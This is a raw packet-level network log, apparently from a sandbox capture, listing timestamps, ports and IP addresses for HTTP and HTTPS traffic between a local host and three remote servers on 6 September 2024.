Sep 6, 2024 08:17:07.270030975 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.270041943 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.270078897 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.270085096 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.270100117 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.270122051 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.270138979 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.270139933 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.270517111 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.270523071 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.270534039 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.270539045 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.270545006 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.270550966 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.270561934 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.270567894 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.270574093 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.270580053 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.270596027 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.270612001 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.270690918 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.270698071 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.270737886 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.270845890 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.270852089 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.270862103 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.270868063 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.270874023 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.270884991 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.270901918 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.270986080 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.270992041 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.270997047 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.271003008 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.271008015 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.271018982 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.271020889 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.271023989 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.271047115 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.271168947 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.271176100 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.271184921 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.271190882 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.271199942 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.271205902 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.271209955 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.271226883 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.272219896 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.272224903 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.272241116 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.272247076 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.272253036 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.272258997 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.272267103 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.272268057 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.272285938 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.272290945 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.272294044 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.272294044 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.272301912 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.272308111 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.272311926 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.272317886 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.272324085 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.272334099 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.272341967 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.272341967 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.272342920 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.272356033 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.272358894 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.272360086 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.272367001 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.272372961 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.272397995 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.272423983 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.272429943 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.272435904 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.272440910 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.272445917 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.272454977 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.272486925 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.272960901 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.272967100 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.272978067 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.272981882 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.272988081 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.272993088 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.273010015 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.273015976 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.273015976 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.273032904 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.273166895 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.273204088 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.274425030 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.275065899 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.275072098 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.275077105 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.275156021 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.275167942 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.275177956 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.275181055 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.275191069 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.275197983 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.275212049 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.275228977 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.275228977 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.277822971 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.277827978 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.277832031 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.277837038 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.277847052 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.277861118 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.277863979 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.277867079 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.277873039 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.277884007 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.277884007 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.277904034 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.277909994 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.277920008 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.277925014 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.277930021 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.277935028 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.277940035 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.277945995 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.277952909 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.277952909 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.277957916 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.277961969 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.277972937 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.278002977 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.278008938 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.278019905 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.278022051 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.278022051 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.278023958 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.278031111 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.278047085 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.278088093 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.278088093 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.278295040 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.278386116 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.278407097 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.278477907 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.278477907 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.278502941 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.278518915 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.278544903 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.278574944 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.278579950 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.278615952 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.278656006 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.278661966 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.278672934 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.278677940 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.278683901 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.278707981 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.278726101 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.278726101 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.279941082 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.279957056 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.279989004 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.280934095 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.280937910 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.280968904 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.280972004 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.280983925 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.281004906 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.281012058 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.281022072 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.281028032 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.281033993 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.281039000 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.281044006 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.281044960 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.281049967 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.281060934 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.281060934 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.281102896 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.281105995 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.281130075 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.286355972 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.287616968 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.287631989 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.287740946 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.287745953 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.290441036 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.305788994 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.305794954 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.305805922 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.305810928 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.305816889 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.305821896 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.305834055 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.305922985 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.305922985 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.306370974 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.329427958 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.329432011 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.329442978 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.329485893 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.329493046 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.329503059 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.329509020 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.329530001 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.329579115 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.329579115 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.329654932 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.333904028 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.333909035 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.333920002 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.333959103 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.333962917 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.333967924 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.333975077 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.333980083 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.333990097 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.334072113 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.334470034 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.336388111 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.336394072 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.336400032 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.336405039 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.336416006 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.336421967 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.336427927 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.336452961 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.336528063 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.336534977 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.336539984 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.336545944 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.336553097 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.336575985 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.336575985 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.336730003 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.336735010 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.336746931 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.336751938 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.336756945 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.336762905 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.336774111 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.336779118 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.336783886 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.336790085 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.336795092 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.336796045 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.336802959 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.336808920 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.336815119 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.336815119 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.336815119 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.336826086 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.336832047 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.336837053 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.336837053 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.336839914 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.336847067 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.336868048 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.336874008 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.336885929 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.336891890 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.336896896 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.336903095 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.336908102 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.336914062 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.336925030 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.336927891 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.336930037 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.336935997 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.336941004 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.336946964 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.336952925 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.336957932 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.336961985 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.336961985 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.336961985 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.336998940 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.337006092 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.337006092 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.337006092 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.337012053 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.337017059 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.337207079 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.337213039 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.337224007 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.337228060 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.337256908 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.337357044 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.337363005 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.337368011 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.337373018 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.337378025 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.337383032 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.337389946 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.337394953 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.337407112 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.337424040 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.337424040 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.338284969 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.338313103 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.338318110 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.338330030 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.338397980 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.338403940 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.338414907 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.338421106 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.338424921 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.338438988 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.338438988 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.338623047 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.338627100 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.338644028 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.338649988 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.338654995 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.338661909 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.338666916 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.338668108 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.338680983 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.338735104 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.338735104 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.338752985 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.338800907 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.338805914 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.338816881 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.338821888 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.338828087 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.338869095 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.339086056 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.339091063 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.339102983 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.339107990 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.339162111 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.339235067 CEST	80	49733	147.45.44.104	192.168.2.4
